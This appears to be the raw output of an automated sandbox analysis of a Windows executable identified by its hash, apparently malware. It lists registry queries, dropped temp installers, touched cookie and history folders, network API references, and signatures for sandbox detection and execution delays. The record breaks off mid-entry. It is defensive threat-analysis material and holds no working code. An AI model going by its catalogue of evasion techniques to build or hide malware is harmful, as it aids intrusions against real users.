"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "")4d:T1285,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "D77A59DECEA0B458372CCC3ACE96FCF3726346EF030FB6DD35E0BA64BA734F0B"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: "MAXIMIZEAPPS"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: "MAXIMIZEAPPS"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "QUERYFORINFOTIP"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEINWEBVIEW"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEONDESKTOPPERUSER"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSALIASEDNOTIFICATIONS"; Value: "")4e:T521,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "c:\users\%osuser%\appdata\local\temp\installsetup9.exe" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" reads file "c:\users\%osuser%\appdata\local\temp\288c47bbc1871b439df19ff4df68f076.exe" "InstallSetup9.exe" reads file "c:\users\%osuser%\appdata\local\temp\installsetup9.exe"4f:T421,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Reference to an external IP address lookup service identified Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Contains a Wine emulator-related string Matched sigs: Able to identify virtual/sandbox environment Matched sigs: Able to identify virtual/sandbox environment devices Matched sigs: Able to identify sandbox environment running process Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Attempts to identify external IP address Matched sigs: Contains ability to detect sandbox (imports API)50:Tcfc,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\FLTLIB.DLL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\MSVCP140.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\MSVCP140.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\VCRUNTIME140.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\VCRUNTIME140.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\ucrtbase.DLL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\ucrtbase.DLL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\api-ms-win-core-timezone-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-timezone-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\api-ms-win-core-file-l2-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-file-l2-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\api-ms-win-core-localization-l1-2-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\api-ms-win-core-synch-l1-2-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\api-ms-win-core-file-l1-2-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-file-l1-2-0.dll"51:T560,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "InstallSetup9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "InstallSetup9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "InstallSetup9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "InstallSetup9.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "InstallSetup9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "BroomSetup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "BroomSetup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"52:Tcf7,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\FLTLIB.DLL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\MSVCP140.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\ucrtbase.DLL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-string-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-stdio-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-convert-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-locale-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-filesystem-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-time-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-environment-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-math-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\api-ms-win-crt-utility-l1-1-0.dll" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL"53:Tc3d,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.config" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\288c47bbc183e5a65a2#\" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.INI" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.Local\" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe:Zone.Identifier" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe:Zone.Identifier" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\D77A59DECEA0B458372CCC3ACE96FCF3726346EF030FB6DD35E0BA64BA734F0B.EXE.CONFIG" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\288C47BBC183E5A65A2#" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\D77A59DECEA0B458372CCC3ACE96FCF3726346EF030FB6DD35E0BA64BA734F0B.INI" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\D77A59DECEA0B458372CCC3ACE96FCF3726346EF030FB6DD35E0BA64BA734F0B.EXE.LOCAL" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe:ZONE.IDENTIFIER" "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe:ZONE.IDENTIFIER" "InstallSetup9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe.Local\"54:T1141,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00003572-00000C2C-300592166") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00003572-00000C2C-300592527") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00003572-00000C2C-325976436") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00003572-00000C2C-327324786") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00003572-00000C2C-327325005") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00003572-00000C2C-327325005") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00003572-00000C2C-327325005") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00003572-00000C2C-329149090") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00003572-00000C2C-329149090") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00003572-00000C2C-329777372") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00003572-00000C2C-329777922") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00002516-00000C2C-294532473") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "HttpSendRequestExW" (Indicator: "HttpSendRequest"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "HttpSendRequestExW" (Indicator: "HttpSendRequest"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp")55:T779,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00002516-00000C2C-294532473") Found reference to API "ile System Bind Datame" (Indicator: " bind "; Source: "00000000-00001156.00000000.81939.00490000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00001156.00000000.81939.00490000.00000004.mdmp, 00000000-00001156.00000001.82229.00490000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00001156.00000000.81939.00490000.00000004.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00001156.00000000.81939.01300000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00002180.00000000.83897.011A0000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: 